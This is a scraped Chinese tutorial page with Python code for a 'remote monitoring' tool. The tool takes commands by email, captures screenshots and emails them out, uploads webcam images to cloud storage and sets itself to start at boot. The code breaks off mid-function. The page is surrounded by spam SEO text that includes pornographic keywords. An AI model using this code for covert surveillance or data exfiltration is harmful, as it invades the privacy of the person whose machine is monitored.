国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python操作攝像頭截圖實現遠程監控的例子

2020-02-23 05:15:31
字體:
來源:轉載
供稿:網友

最近用python寫了一個遠程監控的程序,主要功能有:
1.用郵件控制所以功能
2.可以對屏幕截圖,屏幕截圖發送到郵箱
3.可以用攝像頭獲取圖片,這些圖片上傳到七牛
4.開機自啟動

代碼如下:#
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart 
from email.mime.text import MIMEText 
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申請
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""

#獲取ip
def getIP():
    ip=socket.gethostbyname(socket.gethostname())
    return ip

#獲取操作系統版本、
def getSystemVersion():
    return platform.platform()

def send_Information(ip,system_version):
    info='ip:'+ip+'  '+'system version:'+system_version
    print info
    smtp=smtplib.SMTP()
    smtp.connect('smtp.sina.com')
    smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼
    smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個郵箱
#截圖,圖片名為截圖時間
def screen_capture():
    #獲取截圖時間
    pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    pic_name='screen'+pic_time+'.jpg'
    pic = ImageGrab.grab()
    pic.save('%s' % pic_name)
    print pic_name
    #發送圖片
    send_Img(pic_time,pic_name)
    print pic_name
    os.remove(pic_name)#刪除圖片

#發送截圖圖片到郵箱
def send_Img(pic_time,pic_name):
    msgRoot = MIMEMultipart('related') 
    msgRoot['Subject'] = pic_time

    msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8') 
    msgRoot.attach(msgText) 

    #fp = open('F://1.jpg', 'rb')
    fp = open(pic_name, 'rb') 
    msgImage = MIMEImage(fp.read()) 
    fp.close() 

    msgImage.add_header('Content-ID', '<image1>') 
    msgRoot.attach(msgImage) 

    smtp = smtplib.SMTP() 
    smtp.connect('smtp.sina.com','25') 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 神木县| 石渠县| 马公市| 筠连县| 临潭县| 江川县| 普宁市| 东莞市| 伊宁市| 富阳市| 浦县| 泽普县| 叶城县| 大邑县| 西丰县| 怀仁县| 渭源县| 桑植县| 旌德县| 卢湾区| 双柏县| 昭平县| 刚察县| 太谷县| 隆回县| 桓仁| 中阳县| 茌平县| 花垣县| 海原县| 惠州市| 嘉定区| 南皮县| 通州区| 思南县| 双城市| 普陀区| 信阳市| 象山县| 武平县| 新邵县|